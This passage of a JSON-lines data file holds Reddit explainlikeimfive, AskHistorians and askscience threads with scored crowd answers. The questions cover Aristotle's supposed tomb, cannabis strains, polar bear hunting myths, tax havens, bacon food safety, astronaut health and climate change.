HIV positive?  (I live in an awful neighborhood, with lots of junkies, hookers and mosquitos, so this is on my mind frequently.  Answers would be very well appreciated.)"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.ncbi.nlm.nih.gov/pubmedhealth/PMH0000869/", "http://www.cdc.gov/mmwr/pdf/wk/mm4450.pdf"], [], [], ["http://www.ncbi.nlm.nih.gov/pubmedhealth/PMH0000869/", "http://www.cdc.gov/mmwr/pdf/wk/mm4450.pdf"], []]}
{"q_id": "4l6llp", "title": "What is so significant about knowing the location of Aristotle's tomb?", "selftext": "Do you guys think this will prove to be a significant discovery, or do you think it's been blown out of proportion?", "document": "", "subreddit": "AskHistorians", "url": "https://www.reddit.com/r/AskHistorians/comments/4l6llp/what_is_so_significant_about_knowing_the_location/", "answers": {"a_id": ["d3l369w"], "score": [157], "text": ["Yeah sorry, I don't think they've found Aristotle's tomb. I'm not an archaeologist nor has Kostas Sismanidis, the guy behind the 'discovery', released any archaeological reports so obviously I cannot judge for sure nor provide a very detailed post here. So, all I can offer you are the reasons for my deep skepticism. Firstly, although Stageira was Aristotle's hometown, he actually died in Chalcis, Euboea in 322 BC. Secondly, Sismanidis says that he is drawing from 'literary sources' to prove that the tomb is in fact Aristotle's tomb - which in itself is a bit of a dubious way to do archaeology in most cases. And, the sources that I imagine he could be drawing from are either the small cluster of inaccurate and idealistic neo-Platonic *Lives of Aristotle* that are written in the 4th and 5th centuries AD, i.e. 700 years after Aristotle's death, that mention his tomb in Stageira ([this article](_URL_0_) talks you through them if you're really into manuscripts); or, then he might be talking about the medieval sources of previous 'discoveries' of Aristotle's tomb, such as John Mandeville\u2019s (1499) *Travels*. [Edith Hall](_URL_1_) (a well respected classicist) analyses here the ludicrousness of using these sources concisely enough so there's not really any point for me to repeat it here. I mean, you're gonna want to open that link anyway and see just how much that High Medieval - style tomb and sculpture he provides a drawing of looks like a tomb from 300s BC...... \n\nAnd, as Edith Hall notes, it seems just too much of a coincidence that Aristotle's tomb would surface on the 2,400th anniversary of his birth. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.persee.fr/doc/reg_0035-2039_1964_num_77_364_3767", "http://edithorial.blogspot.co.uk/2016/05/another-non-tomb-of-aristotle.html"]]}
{"q_id": "am0a7c", "title": "in the speed racer movie, t180's are racecars with wheels that can spin independently, like a shopping cart. would it be possible to build such a car in real life?", "selftext": "The wheels can spin 180 degrees, to allow for maximum control during a race. T180's can also go up to 400 MPH, however I am only focusing on the possibility of such a steering system.\n\nAn excellent example of a T180's wheels at work: _URL_0_\n\nAs you can see, the wheels are used to steer the car in a certain direction, in order to minimize spinning out and allow for easy drifting.\n\nWould it be possible to build such a car?", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/am0a7c/eli5_in_the_speed_racer_movie_t180s_are_racecars/", "answers": {"a_id": ["efia7eo", "efiaikb", "eficyng"], "score": [4, 3, 4], "text": ["If each wheel has its own electric motor, sure, why not?", "Yes, there are already commercially available cars with four wheel steering, and have been available since the late 80s\n\nHere's a 1937 mercedes benz with 4 wheel steering _URL_0_", "It's certainly possible - but not in a car going anywhere near 400 MPH.\n\nFirst, just consider the insane forces acting on the wheels when you're cornering at such speed. Take a look at the suspension of a [formula 1](_URL_0_) car: It's got 4 struts reaching to the wheel hub, each made from carbon fiber composite. This is optimal for the forces from cornering and braking. A free spinning wheel would need have a huge bearing and suspension to take the same kinds of forces, not something you want in a race car.\n\nThe second issue is that at high speed, aerodynamic forces can flip or even lift up a car and make it fly off the track. High speed race cars like F1 are designed to be exceptionally stable while going forwards, with big wings generating downforce to improve traction. This gives the cars better corner speed than drifting, and is a lot safer on top of that.\n\nSomething like that might be useful for parking a car sideways or perhaps in a car designed for doing drifting tricks, but there's no point in a race car."]}, "title_urls": [], "selftext_urls": ["https://cdn.20m.es/img/2008/05/06/807022.jpg"], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Steering#/media/File:Mercedes_K%C3%BCbelwagen_G5.jpg"], ["http://www.formula1-dictionary.net/Images/engine_f1_stresed.gif"]]}
{"q_id": "4vl7ev", "title": "what are the differences between cannabis sativa and indica in terms of scientifically observable effects on the body/mind?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/4vl7ev/eli5_what_are_the_differences_between_cannabis/", "answers": {"a_id": ["d5zbx1a", "d5zbzlu", "d5zd1oh", "d5zeegk", "d5zehaw", "d5zfh4e", "d5zgfhc", "d5zgg5g", "d5zgj8a", "d5zgqip", "d5zh6ev", "d5zhdj0", "d5zi7qn", "d5zipyr", "d5zisc5", "d5zj3t4", "d5zjesc", "d5zjtu7", "d5zkva2", "d5zl4nu", "d5zm79q", "d5zmi9p", "d5zpq03"], "score": [2, 19, 374, 3, 3, 11, 17, 5, 994, 4, 2, 26, 3, 2, 2, 7, 3, 3, 2, 2, 2, 2, 4], "text": ["It has to do with cdb content I believe.  But honestly no matter what strain of weed you're smoking, you'll feel the similar effects since all weed will have similar active compounds in it, it's just the ratio of these compounds that differ usually.  And nowadays almost anything you pick up with be a hybrid.  Some hybrids might be indica or sativa dominant.  I believe that Cbd is the chemical responsible for that couch lock feeling and indicas usually have more of a couch lock feel while sativa as are supposed to give you a head high.  However, even though indicas are known for their couch lock / body high, you'll still feel some sort of head high with any weed really. And vice versa.  If you really meditate/focus and be present, you can definitely notice the difference between two different strains.  I feel like if you're just munching hard and the weed feeling is in the background, then weed will just feel like weed.\n\nTldr different strains of weed have different ratios of active chemicals.  That's why it'll feel different to some people.  But since all the chemicals are still present, that's why weed feels like weed regardless of what strain it is.\n\nI'm sure there are strains out there that are an exception to this. [4] ", "[Everything your weed guy knows about weed is probably wrong](_URL_0_)", "As a non regular cannabis user (n00b), I visited my local rec. shop for info - they provided this infographic which I felt was quite helpful.  The Pot Shop, Seattle, WA - good people and very helpful.\n\nInfographic: [Here](_URL_0_)", "To make it overly simplified as someone who has tried many different strains, sativa produces more of an energetic, mental high, whereas indica produces a more relaxing body high that helps tremendously with pain. In contrast, sativa can actually make your mind \"focus\" more on the pain, thus making it more unpleasant. This is from personal experience, and the experiences of some of my friends.", "[This site contains all the information that you need. Additionally it also is a good read.](_URL_0_) ", "Im late to the thread but I live in a place where it is legal and have done a fair amount of experimenting. I find it has to do with the individual as much as it does with the weed being smoked. I get VERY uncomfortable when I smoke Indica. Lots of stress, paranoia, start worrying about my body. I get super hungry, red eyes and if I get into the high I get very giggly.\n\nSativa makes me pretty normal but happier, lighter, kinda a glowing feeling. I can focus more. I dont get the munchies. I can also smoke a lot more of it.\n\ntldr: Its depends on personal chemistry. Indica for bed time, Sativa for public activity. ", "There are more than 70 cannabinoids in marijuana. The amount and ratio of these cannabinoids is what causes the different highs. THC is the most well-known cannabinoid, and is responsible for marijuana's head high (note that there are also subtypes of THC like THCA, THCV, etc).\n\nCBD and CBG are most famous for providing the \"body high\" of marijuana, but they also *interact* with THC and change the high. Higher CBD+CBG makes marijuana take longer to absorb, but last longer. This is why strains like haze with little-to-no CBD hit almost instantly but don't last as long, while other strains \"creep\" and last longer.\n\nAll the marijuana in the world, naturally, was cannabis sativa. Except in Afghanistan (and northern India), there were glorious hills of cannabis indica. It's about half the height of cannabis sativa; the nugs are shorter, denser, redder, and stickier. Nowadays indica has been bred into almost everything; you can find sativas, indicas, and hybrids around the world. (People mention ruderalis but that's actually a subtype of sativa.)\n\nIndica *does* have a \"heavier\" high than sativas *in general.* They tend to have more terpenes, which translates into a sweeter taste. It's all due to the chemical composition and the interaction of the different cannabinoids. A recent British study chemically analyzed over 100 strains, and while there were correlations, they *could not differentiate between indica and sativa based on chemical composition alone.*\n\nIn my opinion, the difference between indica and sativa is very overemphasized. Yes, heavy indicas like Bubba Kush and Cheese do put me \"in the couch\" more than an uppy sativa like Haze or Green Crack. But 95% of strains are just, kinda in the middle. \"Is it sativa or indica\" is not a great purchasing criteria--just go for the highest quality.\n\nHonestly, it's easier to tell sativas and indicas apart by looking at them than smoking them! A pure sativa generally has far fewer red hairs, the nugs are thinner/longer and more delicate, etc. If you get an ounce of shake in a pound, chances are that's a sativa. ;)\n\nEdit: Because there are 70+ different cannabinoids, *and* a lot of them interact with each other, it's difficult to pin down *exactly* what cannabinoid is doing what. But, as testing becomes more common (and reliable), you'll be able to know \"I like strains with about a 5:1 THC:CBD ratio, and I don't like THCV\" for instance. If you *actually know* the chemical makeup (and once we understand the ratios better) you don't need to know if it's sativa or indica. Someday we'll look back and laugh at the \"sativa or indica\" days.\n\nEdit 2: The top poster has some good points and is right about indica/sativa being *mostly* bullshit, but the conclusion that there is *no* difference between strains is wrong IMHO. I agree with [Williamson  &  Evans](_URL_0_) that \"Not all the observed effects can be ascribed to THC, and the other constituents may also modulate its action; for example CBD reduces anxiety induced by THC.\" I firmly believe the ratios of CBD *do* matter (basically option \"b\" of his hypothesis).", "The consensus among cannabis aficionados has always been that Indicas (and Indica leaning hybrids) give you a predominantly \"couch-lock\" feeling. I.e. they bring you down a bit in the sense that you want to drop down on the couch and relax/chill, watch a movie, eat food and let your mind wander. They are also historically the strains more associated with painkilling properties or so called \"numbing effects\".  \nCannabis Sativa (or Sativa leaning hybrids) have historically been equated with \"up high\" effects, stimulation of the mind, creativity inducing etc. but also with Paranoia.  \n  \nNow the \"third category\" that has only surfaced in recent times are the so-called \"CBD-strains\".\nThese are usually hybrid strains that were bottlenecked through breeding towards the production of high amounts of CBD and low amounts of THC.  \nThe reason being that THC is usually the compound associated with psycho-activity while CBD (of which there are several kinds mind you) is usually associated with \"medicinal\" benefits (i.e. pain numbing etc.) while being considerably less psycho-active (or in some cases, like Charlotte's Web, not psycho-active at all).  \n  \nLong story short:  \nThere is not definitive answer to your question yet. Shit's been made illegal and kept locked away for so long, we are only now beginning to scratch the surface of this wonder-plant, scientifically speaking.  \nI would say we will need at least a few more years until we can give scientifically sound answers.  \nAt the current state of affairs, the \"personal experience\" anecdotes of smokers vastly outweigh what is available in scientifically sound data/analysis.  \nUntil science had a chance to catch up, your best explanation will be what I wrote above.", "*Edit: people want a tl;dr - strains don't have different effects on people. Continue reading as people get upset with me for disproving their beliefs with science*\n\nNo way, this is pretty awesome because I am researcher in the Cannabis field. If you want a genuine scientific answer, I can go much much much more in-depth.\n\nThe current scientific theory is that different strains of weed either a) don't genuinely produce different effects or b) the different effects felt by the user are due to minute differences in Cannabinoids. I can quickly talk about both.\n\nI'm going to go unconventional and start with b. The long standing belief in smoking circles is that different strains of weed have different amounts of cannabinoids and terpenes. Both are non-essential products made by Cannabis sativa. Different strains, due to genetics and environmental conditions, will produce different ratios of these compounds. This theory is largely supported by MD Ethan Russo who published the 2011 article [Taming THC: potential cannabis synergy and phytocannabinoid-terpenoid entourage effects](_URL_0_). \n\n**But there are problems with this hypothesis**\n\nPrimarily that the real life numbers don't support Dr. Russo's claims. The quantities of terpenes found in cannabis plants isn't enough to feel an effect. An example is Myrcene, one of the most produced terpenes in Cannabis, is present at 10-12mg/gdw (1% of the dry weight of the female flower). The active dose of Myrcene is 10mg/kg (*edit, fixed the values*) body weight. That means you would need to smoke 10g of Cannabis to feel any effect of Myrcene. If you weighed 1 kilo (2.2 pounds). Similarly the notion of isomers of THC (the primary psychoactive compound) can cause different effects is enticing. We see this with vaping or in edibles, where the constant low heat produces more 10-hydroxy-THC vs. d-9 THC that is produced from combustion. But again in Cannabis plants, d-1 or d-9 THCa (the precursor to THC) is around 99% THC isomers found. The remaining 1% is split between up to 8 other THC isomers, so their values aren't enough to induce effect.\n\nSo that leaves us with theory a). Do different strains produce different effects in people? Probably not. Now I want to say that strains that have varied THC quantities do have different intensities of highs. But with that said, its important to note the two structures at play when smoking happens. The plant and the person. Cannabis as a plant is actually remarkably homogenous (genetically identical). In fact there is no such thing as Cannabis indica. There is only one species! Cannabis sativa. Indica, if it exists, is so similar that it would be a subspecies at best. Cannabis sativa sub. indica. So the biochemical pathways to produce cannabinoids come from the genetics, and the genetics are nearly identical. \n\nNow lets look at people. We have an endocannabinoid system, including a CB1 receptor that binds THC and CB2 which binds CBD. CB1 is neurologically active, which is why THC gives the high sensation. CB2 is an immune receptor which is why CBD has anti-inflammatory effects. CB1 is activated by THC. It's a special type of receptor (GPCR) that is involved in signaling. The ability to study this signaling has shown that it has a role in hunger (PMOC disruption), a role in happiness (5HT activity) and many other things. The fact that these things are altered when consuming THC makes sense because it alters perception.\n\nAnd perception is most likely the reason why people experience differences between strains. Your mood and environment when you smoke has much larger role on your state of mind when stoned. Smoking a strain at your house vs. smoking somewhere else may induce minorly different effects, even though its the same strain. Similarly smoking different strains in the same spot may result in the exact same sensation. Examples may include smoking after running vs smoking after being inactive, or smoking in the morning after fasting vs smoking after a meal. Smoking in the middle of the day vs. smoking at night. \n\nIn fact, this is true of other psychoactive hallucinogenic compounds like LSD and psilocybin and psilocin, though they have much greater effect on perception.", "All I know is fuck edibles tho.. had me lying on the couch crying not to eat edibles ever again lol and I'm a huge pothead too.", "People generally associate sativa and indica phenotypes of cannabis with its growth characteristics and their effects/ cannabinoid profile. But genetically speaking there is not a clear difference between what people perceive to be indica or sativa. \n_URL_0_\n", "When I was younger and living in NJ, I used to love smoking weed. It generally made everything much more fun to do. I now live in Belgium but hardly smoke any more because it's less enjoyable. Could it be because the pot is so much stronger? On the occasions that I do smoke I usually get really quiet and start getting really paranoid that my life is somehow on the road to ruin. The paranoia paralyzes me to where I can only watch TV or play games to try to distract my mind, and even then it isn't enjoyable. \n\nIs it the difference in strains between eastern USA and Belgium that could be doing it or is it just because I'm getting older?", "I have medical cannibus access. I can pick any type of weed.. When I smoke indica I know I won't be getting too much done too quickly. I get a full body buzz and a full state of relaxation. It's perfect to veg out with a movie or on the deck. When I smoke sativa, I can get shit done efficiency and keep very focused on the task at hand. I'll never go back to \"just buying weed from a guy\" I like to know what I'm smoking. Check out _URL_0_\n\nAs for explaining the science part, no idea. But personally I notice the difference the the two strains. Hybrids are nice too.", "Eh. I think in years to come we'll see that a lot of what we thought were radically different strains are actually very, very similar. Pretty much everything has been hybridized nearly to infinity at this point, it's quite difficult to find a real \"landrace\" cannabis stain anymore. Most dispensaries don't really know where their genetics are, a small subset of the \"connoisseur\" shops may have an idea but even then it's a crap shoot. Hell, my shop doesn't know where nearly all of our genetics came from. Ask the owner, no idea. All those growers that brought those genetics with them are long gone, so those around now are pretty much clueless and are just growing the plants. \n\nThis is only my experience over the last approximately two years working at my current dispensary. Im sure some shops are different, however the point stands that indica and sativa are not all that different anymore IMHO. Especially from the standpoint of buying your cannabis, not growing it. If you're growing, you're options are more diverse and often times more researched. ", "Only a matter of time before people are talking about doing bro splits with their sativa/indica stacks", "Remember guys, ELI5;\n\nThere's a car called THC, and a long distance truck called CBD. (Strains contain a % of both)\n\n(Typical strain labeled Sativa THC 22%, CBD 1%, Typical strain labeled Indica THC 16% CBD 4%)\n\nThe difference between THC % and CBD % of a strain represent the head start the car gets. The further the car (THC) is in the lead, the more energy you have.\n\nBoth drive at the same speed, but after 4 hours the THC car starts to run out of fuel and slows down. CBD continues to power on due to it's bigger fuel tank.\n\nThe bigger CBD looks in THC's rear view mirror, the sleepier/heavier you get.\n\nYou can give THC another full tank of fuel at any point, but CBD gets a full tank's worth of fuel too and keeps the extra.\n\n\nIndica = Little or no head start, sometimes even starts with the truck visible.\n\nSativa = Big head start, sometimes the truck can't be seen before the journey's over.\n\nHybrid = Everything in between. \n\n(There's much debate in this thread over whether or not the 2 are any different. Examples I've provided are what your dealer would sell to you as a Sativa or an Indica. If you're buying legal, just use the % listed on the label and apply it to the above ELI5 ignoring genetic heritage).\n\nTLDR ELI5; CBD makes you sleepy, THC makes you awake. The more CBD, the more likely you will get sleepy. The more THC, the longer it will be before you get sleepy.\n\n", "It really comes down to the terpenes and how they interact with cannabinoids. It's a very general belief that Indica and Sativas have specific characteristics, but each strain is different because of the terpene profile. This is still being studied (in how they alter cannabinoids effects on the body) but here is a small write up on them.\n\n _URL_0_", "Why is that when I smoke a bowl I get SUPER sleepy ? I'm guessing it's indica, but OP suggest this shouldn't matter.", "This makes sense.  With any weed I smoke, I am active, focused on detail and I can't eat or sleep.  Its the same weed that puts my friends on the couch with a bag of cheetos.  ", "Indica sativa doesn't matter, it's concentration of cannabinoids (THC, THCV and the many CB*s) and terpenes, two sativa heavy plants of differing strains could produce different highs, same with indica or cross, the old myth was sativa = mind, indica = body but that's been debunked.", "There is a great simple book called cannabis pharmacy which outlines simply the different chemicals in cannabis, how they interact and which strains users and patients have identified as best for different conditions.\n\nThe difference comes down to the \"entourage effect\". Different chemicals working in tandem in the body will cause a different effect than when one chemical is tested in isolation. \n\nThis means that the effect of just THC or just mercene will be different than THC and mercene. Add to this the 70 plus compounds that we are discussing and you have our differences not just between strains but within the same strain but with different chemical profiles caused by growing conditions.\n\nAs mentioned thought the thread, until the barriers to investigation are removed, our best guide is \"citizen science\" where anecdotal evidence is collected from millions of patients to provide somewhat of a guide.", "Read this paper for some answers:\n\n_URL_0_\n\nCannabis produces a wide-variety of psycho-active terpenes and cannabinoids.\n\nDifferent combinations of different compounds give highly variable effects.  These are not subjective effects.  THCV, for instance, is both and agonist and an antagonist of CB1, *depending on dosage*... so if you have just .2 % THCV you will have a set of effects from it alone, plus its synergistic effects with THC and CBD, and you get the cb1 antogonist effects.  But if you have 1.6 % THCV, the switch is flipped and you get **agonist** effects.  This is neuroscience.  \n\nSo, while the hippie woo-woo descriptions of all the various \"uses\" and \"experiences\" are largely BULLSHIT, the reality is that **cannabis strains definitely vary widely in their effects neurologically, and this is borne out by science.**\n\n", "Cannabis sativa and Cannabis indica are two different plants that are closely related.  They are like brother and sister.\n\nThese plants make flowers, just like tulips.\n\nCannabis flowers can be different colors, shapes, and sizes, and the flowers can all have different smells, some of which are very strong smells.\n\nMany plants make stuff to keep bugs from eating them and to defend themselves against all kinds of hurts.  Cannabis makes a lot of weird chemicals in its flowers to protect it from the sun, because it likes to grow in full sun where it's hot outside.  It sort of makes its own sunscreen.\n\nNow this sunscreen it makes has a LOT of different junk in it, but some of that junk makes people feel funny if they eat it or smoke it.  So some people like that feeling, and cannabis flowers are very popular as medicine for tummies and for when people feel bad.  \n\nThe thing is, those cannabis flowers make so many different kinds of junk, that a flower from one plant can have junk in it that others don't, sort of like some Tulips are red but some are yellow.  Some cannabis flowers make medicines in them that make people feel one way or another.  We could smoke the flowers from a cannabis plant found in Africa and feel a certain way, or the flowers from a totally different plant in Canada, and feel differently from how we felt smoking the African plant.\n\nThe reason flowers from different cannabis plants can make you feel different from one another is because they have different ingredients in the medicine.\n\nSome cannabis medicine in the flowers has mostly THC, which is the most common medicine in the flowers.  Some have THC, THCV, CBD and CBN and many other medicines all mixed in.  The difference is that some flowers DON'T have some of the medicines. \n\nSome of the medicines have been separated out by scientists, like when you pick the mushrooms off your pizza.  When we get the medicine by itself, we can look at it closely and see what it does when people use it as medicine.  When we have THC by itself, it makes us feel a certain way.  When we have THCV by itself, it makes us feel a different way.  When we have them together, we feel even more different, because the combination of the two medicines makes us feel a different way that neither THC or THCV can make us feel by itself.\n\nHumans have little locks in their brains that have medicines in them, too.  When the right key fits the right lock, some medicines that your brain makes are let out of their rooms, and we can feel them in our bodies.  THC, THCV, and CBD as well as the other medicines in cannabis can open the rooms in our brains where we make and keep all kind of medicines.  So depending on which medicines are in the flowers, and depending on which medicines are unlocked in our brains, cannabis can make us feel a whole bunch of different ways."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["http://www.vice.com/en_ca/read/everything-your-weed-guy-knows-about-weed-is-probably-wrong"], ["https://static.wixstatic.com/media/df00af_9c3976912a0a4f47ac7e25b753d1f368.jpg/v1/fill/w_889,h_683,al_c,q_85,usm_0.66_1.00_0.01/df00af_9c3976912a0a4f47ac7e25b753d1f368.jpg"], [], ["https://www.leafly.com/explore"], [], ["http://www.ncbi.nlm.nih.gov/pubmed/11152013"], [], ["http://www.ncbi.nlm.nih.gov/pmc/articles/PMC3165946/"], [], ["http://journals.plos.org/plosone/article?id=10.1371/journal.pone.0133292"], [], ["weedscanada.com"], [], [], [], ["https://www.leafly.com/news/cannabis-101/infographic-what-are-cannabis-terpenes-and-how-do-they-affect-you"], [], [], [], [], ["https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3165946/"], []]}
{"q_id": "b061fh", "title": "when hunting for fish, polar bears cover up their black noses making them blend in with the snow. how do polar bears know their noses are black? do they see the black noses of other polar bears and think, damn if not for my nose i\u2019d be invisible? seems like complex thought thoughts for a bear.", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/b061fh/eli5_when_hunting_for_fish_polar_bears_cover_up/", "answers": {"a_id": ["eicgkdz", "eicjejl", "eicorgu", "eicscmh"], "score": [3, 60, 7, 11], "text": ["Aren't bears able to (more or less) complex behaviour? I could imagine there is a point on \"passing with behaviour \" because they teach each other (parenting) but also learn from surroundings and teach cubs deal with it in the most efficient but safe way. My theory is: some bears caught fish and covered their noses (accidentally or not, they did) and some other bears watched it and mimicked as a technique to hunt more efficient and taught their cubs and they used the same technique and taught their cubs and so on", "From what I understand, it's a complete myth and there has never been a recorded case of them doing it.\n\n_URL_0_\n\n\"Dr. Ian Stirling and several assistants used telescopes to watch undisturbed polar bears hunting seals in the Canadian High Arctic\u201424 hours a day when conditions permitted, for several weeks each year, over several years.\n\nThey documented details on many hundreds of hunts, and no bear was ever seen putting a paw over its nose while stalking a seal. Nor, to our knowledge, have other polar bear biologists ever observed this behavior. Imagine just how a bear might walk, crawl, or stalk on three legs while holding its paw over its nose for an extended period, since most hunts on the sea ice cover between 50 to 200 meters (165 - 656 feet).\"", "If they even in fact do this, they don't do it because of intelligence. They do it because in the past, polar bears who had covered noses (for whatever reason, maybe by accident) weren't seen and therefore got more food. They don't think about it. Evolution just favored it. ", "Have you ever watched a nature documentary? Polar bears don't cover their noses."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://polarbearsinternational.org/polar-bears/myth-busters/"], [], []]}
{"q_id": "52gwgg", "title": "how do tax shelters \"hide money\"?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/52gwgg/eli5_how_do_tax_shelters_hide_money/", "answers": {"a_id": ["d7k87n0"], "score": [6], "text": ["By not reporting information to foreign governments.\n\nWhen you have a local bank account, your government can request information from the bank (sometimes with a warrant or subpoena) if they think you're hiding something, like income that you didn't report to the tax authority.\n\nBecause you could just as easily have the money in a foreign bank account, governments have mutual agreements to share information. So you can't hide your money in a French bank, for example: the IRS can simply ask their French counterpart for information on your bank holdings, and vice versa.\n\nBut some countries have decided that there is money to be earned from opting out of those agreements and refusing to share information about bank accounts within their borders. So if you park funds in an account with those government, the IRS couldn't request it by any means and prove that you have the money."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "9qfyfm", "title": "why can fully cooked (crisp) bacon be safely left out at room temperature all day in restaurants?", "selftext": "I see that in the morning they have a pile of crisp bacon sitting in \"the window\", and even at night that same pile is still there.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/9qfyfm/eli5_why_can_fully_cooked_crisp_bacon_be_safely/", "answers": {"a_id": ["e88vu6c", "e88wggk", "e88wutx", "e88yxp6"], "score": [4, 3, 15, 2], "text": ["Well... its not a best food safety practice, but of all the infractions its hardly the worst. \n\nRaw food left sitting out and not in the fridge is bad because the bacteria that is in it (especially food) will multiply and leave toxin byproducts - this is what makes you sick and makes the food taste and smell \"off\". Since the bacon was cooked... and at the fat rendering temperature of bacon fat/grease well beyond the survival range of most bacteria, if the bacon was good before it was cooked, all the harmful things in it have since been killed.  And its not like crispy cooked bacon gets less crispy at it gets 'stale'.. if that even is a thing for cooked bacon. \n\nYes, leaving it out uncovered could lead to airborne bacteria and so you should cover it up... but its going to be the same airborne gunk that covers the countertops, the seats, the clean plates stacked up - your immune system should be able to handle that stuff. \n\nI admit, if I use most of a pound of bacon for serving at breakfast, Ill cook the extra pieces and leave them on the kitchen counter for snacking later on. Its bacon. ", "It's incredibly salty, and cooked, crispy bacon is also very dry.  Bacteria need moisture, and salt is incredibly osmotic and will dehydrate and bacteria or mold that tries to grow.\n\nLeft out, it will probably continue to simply get drier and drier and won't ever suffer from mold or bacterial growth in the short term, although it might eventually absorb enough moisture from the air to become hospitable to microbes", "Bacon is a cured food. It was designed to be preserved via salt curing. This salt content kills most bacteria and fungi and means that proper bacon is safe to store uncooked at room temperature for a significant period of time. (not safe to consume raw though). \n\nCooked bacon has almost no water content left it it. Particularly if it is properly crisp. Any harmful things in it have been killed so we are looking at harmful things that can fall onto it. As such it can last for days at room temp without posing any real issue and does not have \"the window\" other cooked foods have. ", "I mean it's not the best food safety but you have multiple preservation methods at work on one piece of food.\n\nSalt - desiccant that's been used for millennia to preserve food, less moisture means organic things can't survive\n\nHeat - kills nasty bugs\n\nAlkaline affects - Smoking food creates a PH level that is hostile to nasty bacteria \n\n**Smoked/Salted/Cooked food, not just bacon, becomes a valley of death for things that make you sick.**"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], []]}
{"q_id": "144vqq", "title": "what is an ombudsman?", "selftext": "What do they do?  Where do they work?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/144vqq/eli5_what_is_an_ombudsman/", "answers": {"a_id": ["c79z3b0", "c79z3xj"], "score": [3, 2], "text": ["An ombudsman is essentially an independent auditor; they are funded by the government but not necessarily employed by them. \n\nAn ombudsman is an agent for consumers. They make sure that companies and government agencies don't break rules about employment, OHS, competition (like in power generation or telecommunications), and so on. They're easier for the public to use than a Court etc.\n\nThey are given lots of investigation powers, so companies and government agencies and so on have to give them documents and information when they investigate. After they investigate, they will make a report and give it to the Government, who can then do things to punish or fix the law to help protect people.", "An ombudsman is someone who works with a group of people, but who's job is to monitor those people and is loyal to some exterior group.  For example some news papers have ombudsman, and their job is to criticize (in a good constructive way) the newspaper the work at for the benefit of the people that read the newspaper.   They may, for example, point out bias or take one of the writers to task over their sources.  This appears to be an antiquated concept at this point, I'm not sure if newspapers use ombudsman much anymore."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "7hezg4", "title": "why is astronaut scott kelly\u2019s body suffering severe health issues after 300+ days in space?", "selftext": "He is suffering joint pain, swelling, rashes, vision problems, etc.", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/7hezg4/eli5_why_is_astronaut_scott_kellys_body_suffering/", "answers": {"a_id": ["dqqi0ba", "dqqj838"], "score": [26, 6], "text": ["Low gravity causes problems with our bodies since they were built around an environment where there are certain pressures places on our body from living on Earth. Since he is in space with none of these pressures (namely gravity) his body becomes weaker, his blood flow is effected, pressure on the eyes is effected, etc.\n\nETA:  We just aren't built to be in zero g for long periods of time.  Its one of the problems that prevent us from going to Mars right now is that it would take a year for a round trip.  Thats really hard on our bodies and we haven't come up with a way to counter the effects yet.", "Spend enough time in space and you start to turn into a jellyfish, not literally. But the lack of gravity causes us to lose muscle definition and strength, bone mass loss, and our eyes start to deteriorate. This is because human beings are meant for Earth's gravity, like all other animals our sense rely on Earth's cues to function."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "nz2nz", "title": "It seems to be an established fact that our planet is undergoing climate changes, but is it conclusively proven that this is due to human activity?", "selftext": "In the media there has been numerous reports about how our environment is changing, which seems evident and indisputable. I have not ever seen any evidence to suggest that this was caused by human activity and in fact a few months ago it was suggested that we could be headed towards a small ice age because the suns activity was about to go to an all time low.\n\nIn addition I have heard people make claims regarding the temperature on other planets in our solar system, suggesting that they follow our fluctuations, thus nullifying any correlation between human activities and climate change.\n\nCould someone please present the facts in an easily accesible format, preferably with links?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/nz2nz/it_seems_to_be_an_established_fact_that_our/", "answers": {"a_id": ["c3d35pq"], "score": [2], "text": ["I don't know how you could have _never seen_ the evidence suggesting climate change was partly caused by human activity, unless you've just been ignoring all scientific articles about it for the past 20 years.\n\nCurrently people are consuming about [3 cubic miles of oil equivalent per year](_URL_5_), which adds about 36 billion metric tons of CO2 into the atmosphere that wasn't there before. In 2011, CO2 concentration was up to [390 ppm](_URL_0_), compared to around [270 ppm in preindustrial times](_URL_4_). \n\nFortunately [CO2 has a pretty small effect on the temperature](_URL_2_). If the Earth had no atmosphere at all, the average temperature would be about 60F (33C) lower than it is now, and of that CO2 contributes maybe 4F or 5F (2C or 3C). The revised IPCC climate sensitivity for CO2 is about [2.3C for doubling CO2 concentration to about 540 ppm](_URL_1_). We're currently up by about .8C with a 44% increase.\n\nSo it's only 0.8C, or around 1.4F increase so far, doesn't sound like a big deal. But [the poles heat up the most](_URL_3_), and they have a big effect on global weather. That's why scientists prefer to call it _climate change_ rather than _warming_, because it may not be that much warmer, but the weather effect can be significant."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://co2now.org/", "http://www.worldclimatereport.com/index.php/2011/11/08/a-new-lower-estimate-of-climate-sensitivity/", "http://hyperphysics.phy-astr.gsu.edu/hbase/thermo/humimp.html", "http://data.giss.nasa.gov/cgi-bin/gistemp/do_nmap_test3.py?year_last=2011&amp;month_last=11&amp;sat=4&amp;sst=1&amp;type=anoms&amp;mean_gen=11&amp;year1=2011&amp;year2=2011&amp;base1=1951&amp;base2=1980&amp;radius=1200&amp;pol=reg", "http://hyperphysics.phy-astr.gsu.edu/hbase/thermo/grnhse.html#c3", "http://en.wikipedia.org/wiki/Cubic_mile_of_oil"]]}
